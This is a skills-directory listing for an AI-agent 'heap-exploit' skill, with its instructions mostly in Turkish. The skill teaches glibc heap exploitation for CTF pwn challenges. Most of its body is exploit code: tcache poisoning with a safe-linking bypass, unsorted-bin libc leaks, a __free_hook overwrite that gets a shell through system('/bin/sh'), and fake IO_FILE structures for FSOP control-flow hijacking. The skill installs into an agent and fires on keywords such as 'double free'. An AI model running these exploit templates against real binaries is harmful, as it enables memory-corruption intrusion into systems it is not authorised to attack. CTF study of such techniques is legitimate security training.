Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP
Scanned 9/8/2026
Install to Claude Code
npx -y skills add MustafaKemal0146/fetih --skill heap-exploit --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Heap Exploit?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-heap-exploit)More formats (shields.io, HTML) on the badges page.
---
name: heap-exploit
description: Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP
tags: [ctf, pwn, heap, tcache, unsorted-bin, io-file, fsop, glibc, libc-leak]
triggers:
- "heap challenge"
- "malloc free"
- "tcache"
- "use after free"
- "double free"
- "unsorted bin"
- "glibc 2.35"
- "IO_wfile_jumps"
difficulty: hard
category: pwn
solved_challenges:
- "picoCTF 2024 - high-frequency-troubles (tcache + IO_FILE FSOP, glibc 2.35)"
- "PlaidCTF 2023 - baby heap (Rust/Wine, vector layout overwrite)"
adapted_for: fetih
---
# Heap Exploitation — Glibc
## Heap Primitives (Chunk Layout ve Bin'ler)
### Chunk Yapısı (64-bit glibc)
```
chunk → ┌──────────────────────┐
│ prev_size (8 byte) │ ← önceki chunk serbest ise aktif
│ size | flags (8 b) │ ← P=prev_in_use, M=mmap, A=non-main
mem → ├──────────────────────┤
│ fd pointer (8 byte) │ ← serbest chunk: bin'e bağlı
│ bk pointer (8 byte) │
│ ...kullanıcı veri...│
nextchunk→ └──────────────────────┘
```
Minimum chunk boyutu: **32 byte** (glibc 64-bit).
Chunk boyutu her zaman **16'nın katı** olmalı.
### Bin Türleri
| Bin | Boyut (64-bit) | glibc versiyonu | Not |
|------------|-------------------|-----------------|-----------------------------|
| tcache | 0x20 – 0x410 | >= 2.26 | per-thread, 7 adet limit |
| fastbin | 0x20 – 0x80 | hep | LIFO, single-linked |
| smallbin | 0x20 – 0x3f0 | hep | double-linked |
| largebin | >= 0x400 | hep | double-linked + size list |
| unsortedbin| herhangi | hep | libc içi buffer, büyük leak |
---
## Tcache Poisoning Şablonu
glibc 2.32+ sürümünde tcache fd pointer'ı **XOR şifreli** (safe-linking):
```
fd_stored = fd_real ^ (chunk_addr >> 12)
```
Bunu bypass etmek için heap adresini bilmen gerekir.
```python
#!/usr/bin/env python3
# tcache_poison.py — Use-After-Free / Double-Free ile tcache poisoning
from pwn import *
BINARY = "./vuln"
LIBC = "./libc.so.6"
context.binary = elf = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"
def start():
if args.REMOTE:
return remote("chall.ctf.site", 1337)
return process(BINARY)
io = start()
# ── Menü yardımcı fonksiyonlar ───────────────────────────────────────────────
def alloc(size, data=b"A"):
io.sendlineafter(b"choice: ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
io.sendafter(b"data: ", data)
def free(idx):
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
def show(idx):
io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"index: ", str(idx).encode())
return io.recvline()
# ── Aşama 1: Heap Adresi Leak (glibc >= 2.32 için gerekli) ──────────────────
# tcache fd = (next_chunk_addr >> 12) ^ chunk_addr
# İlk serbest chunk fd'si: 0 ^ (heap >> 12) = heap >> 12
alloc(0x30, b"AAAA") # chunk 0
free(0) # tcache'e at
# UAF varsa chunk 0'ı hala okuyabiliriz
raw = show(0)
heap_leak = u64(raw[:8].ljust(8, b"\x00"))
heap_base = heap_leak << 12 # safe-linking decode
log.success(f"heap base = {hex(heap_base)}")
# ── Aşama 2: Libc Leak (unsorted bin üzerinden) ──────────────────────────────
# Tcache + fastbin dolu değilse büyük chunk unsorted bin'e gider
alloc(0x420, b"B" * 8) # büyük chunk (tcache'e gitmesin, 0x410 üstü)
alloc(0x30, b"guard") # alt chunk — top chunk ile birleşmesin
free(1) # unsorted bin'e gider
raw2 = show(1) # fd = unsorted bin başı = main_arena + offset
arena_leak = u64(raw2[:8].ljust(8, b"\x00"))
libc.address = arena_leak - libc.sym["main_arena"] - 96
log.success(f"libc base = {hex(libc.address)}")
# ── Aşama 3: __free_hook veya __malloc_hook Overwrite (glibc < 2.34) ────────
# glibc 2.34+ hook'lar kaldırıldı → IO_FILE FSOP kullan (aşağıya bak)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
# Poisoned chunk: tcache fd'yi __free_hook'a yönlendir
# glibc 2.32+ safe-linking: fd = (heap >> 12) ^ target
def safe_link(heap_addr, target):
return (heap_addr >> 12) ^ target
alloc(0x30, b"C" * 8) # chunk 3
alloc(0x30, b"D" * 8) # chunk 4
free(4)
free(3) # tcache: 3 → 4 → NULL
# Chunk 3 UAF: fd'yi __free_hook'a yönlendir
corrupted_fd = safe_link(heap_base + 0x????, free_hook) # heap_base + chunk 3 offset
# show(3) ile chunk 3 adresini öğren, sonra hesapla
io.sendlineafter(b"choice: ", b"4") # edit / write primitive varsa
io.sendlineafter(b"index: ", b"3")
io.send(p64(corrupted_fd))
# Şimdi iki kez alloc et — ikincisi __free_hook bölgesine düşer
alloc(0x30, b"/bin/sh\x00") # chunk 3'ü al
alloc(0x30, p64(system)) # __free_hook = system
# free("/bin/sh") → system("/bin/sh")
free(3 + 1) # "/bin/sh" içeren chunk'ı serbest bırak
io.interactive()
```
---
## Unsorted Bin Libc Leak
```python
# Tek seferlik leak — UAF ile okuma primitive gerekli
# 1) 0x420+ boyutlu chunk ayır (tcache sınırı aşsın)
alloc(0x420) # chunk A
# 2) Alt guard chunk ayır (top chunk ile birleşmesin)
alloc(0x30) # chunk B (guard)
# 3) chunk A'yı serbest bırak → unsorted bin'e gider
free(0) # chunk A → fd/bk = main_arena + 0x60 (ya da offset)
# 4) UAF ile chunk A'nın fd'sini oku
data = show(0)
arena_ptr = u64(data[:8].ljust(8, b"\x00"))
# 5) Offset'i bul
# gdb ile: p &main_arena, leaked değerden çıkar
ARENA_OFFSET = 0x1ecbe0 # glibc 2.35 örnek — versiyon bağlı!
libc.address = arena_ptr - ARENA_OFFSET
log.success(f"libc base = {hex(libc.address)}")
```
---
## IO_FILE FSOP — picoCTF hft Örneği (glibc 2.35)
glibc 2.34+ `__malloc_hook` / `__free_hook` kaldırıldı.
Alternatif: `_IO_FILE` yapısını taklit et, `_IO_flush_all_lockp` tetiklenince
`vtable->__overflow` üzerinden RIP kontrolü al.
### Sahte IO_FILE Yapısı
```python
# glibc 2.35 IO_FILE FSOP — stdout overwrite
# Kaynak: roderick01's House of Apple 2
FSOP_OFFSET = 0 # _IO_list_all - libc.address
def craft_fake_file(libc, rdi_val, rsi_val, rdx_val, func_ptr):
"""
_IO_flush_all_lockp yolu:
_IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
vtable = _IO_wfile_jumps - 0x18 + bazı magic
"""
IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
setcontext = libc.sym["setcontext"] + 61 # setcontext+61: rdi→rdx, jmp [rdx+0xa0]
fake = flat({
0x00: 0, # _flags (özel değer gerekebilir)
0x28: 1, # _IO_write_ptr > _IO_write_base
0x30: 0, # _IO_write_base
0x38: rdi_val, # _IO_buf_base → rdi olarak geçer
0xa0: func_ptr, # setcontext+61 için jump adresi
0xc0: 0, # _mode = 0
0xd8: IO_wfile_jumps - 0x18, # vtable (magic offset)
0xe0: rsi_val, # wide_data başı
0xe8: rdx_val,
}, length=0x100, filler=b"\x00")
return fake
# Kullanım — stdout'u overwrite et:
stdout = libc.sym["_IO_2_1_stdout_"]
fake_file = craft_fake_file(libc, next(libc.search(b"/bin/sh")), 0, 0, libc.sym["system"])
# Heap'teki write primitive ile stdout bölgesini yaz
# ...
```
### Basit FSOP Şablonu (stdout flag trick)
```python
# _IO_2_1_stdout_ flags alanını düzenle → fileno'yu oku → libc leak
stdout_addr = libc.sym["_IO_2_1_stdout_"]
# flags = 0xfbad1800 (okuma modu açık)
# _IO_write_base küçültülünce flush tetiklenir ve bellek sızar
fake_flags = 0xfbad1800
writes = {
stdout_addr : fake_flags,
stdout_addr + 0x20: stdout_addr + 0x80, # _IO_write_base = _IO_buf_base
stdout_addr + 0x28: stdout_addr + 0x80, # _IO_write_ptr
}
# Bu yazma sonrası next flush → libc adresleri stdout'a basılır
```
---
## pwntools Heap Debug Yardımcıları
```python
# pwndbg ile heap durumunu gör:
# (gdb) heap → tüm chunk'lar
# (gdb) bins → bin durumu
# (gdb) tcache → tcache perthread yapısı
# (gdb) vis_heap_chunks → görsel chunk haritası
# pwntools ile malloc_chunk parse:
from pwn import *
libc = ELF("./libc.so.6")
# Heap adresini leak ettikten sonra chunk içeriğini oku:
def read_chunk(io, addr, size=0x40):
# memory read primitive gerekli
pass
# GDB attach (local debug):
if args.GDB:
gdb.attach(io, gdbscript="""
break *0x401234
heap
bins
continue
""")
```
---
## glibc Versiyon Tespiti
```bash
# 1) Sunucudaki libc'yi öğren
libc --version # bağlantı varsa
# 2) ldd ile
ldd ./vuln
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# 3) strings ile
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release
# 4) Libc'yi uzak sunucudan çek (binary'de yüklü ise):
# patchelf --print-needed ./vuln → gereken libc adını gösterir
# 5) Online araç: libc.blukat.me
# Birden fazla sembol offset'i gir → libc versiyonunu bul
```
### Patchelf ile Yerel Libc Kullan
```bash
# Belirli bir libc ile çalıştır (docker imajından çekilen)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
./vuln # artık yerel libc.so.6 ve ld kullanır
```
---
## Yaygın Tuzaklar
### 1. Guard Chunk Unutmak
```python
# Büyük chunk free edince top_chunk ile birleşmemeli
alloc(0x420, b"leak chunk")
alloc(0x30, b"GUARD") # bu olmadan unsorted bin'e gitmez, top_chunk'a katılır
free(0)
```
### 2. Tcache Sayacı (glibc >= 2.26)
Her boyut için tcache'de max 7 chunk var. 8. free → unsorted/fastbin'e gider.
```python
# Tcache'i doldur, 8. free unsorted bin'e gitsin:
for _ in range(7):
alloc(0x30)
for i in range(7):
free(i)
# Şimdi 8. chunk free → fastbin veya unsorted bin (boyuta göre)
```
### 3. Safe-Linking (glibc >= 2.32)
Tcache fd/bk XOR şifreli. Heap leak olmadan poisoning çalışmaz.
Heap adresini UAF ile sızdır, sonra `(addr >> 12) ^ target` hesapla.
### 4. glibc 2.34+ Hook'lar Yok
`__malloc_hook`, `__free_hook`, `__realloc_hook` kaldırıldı.
Alternatifler:
- **IO_FILE FSOP** (House of Apple, House of Cat)
- **exit_funcs** overwrite (setjmp/longjmp tablosu)
- **stack pivot + ROP** (setcontext gadget)
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: 85a65cfd16586727
-->
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!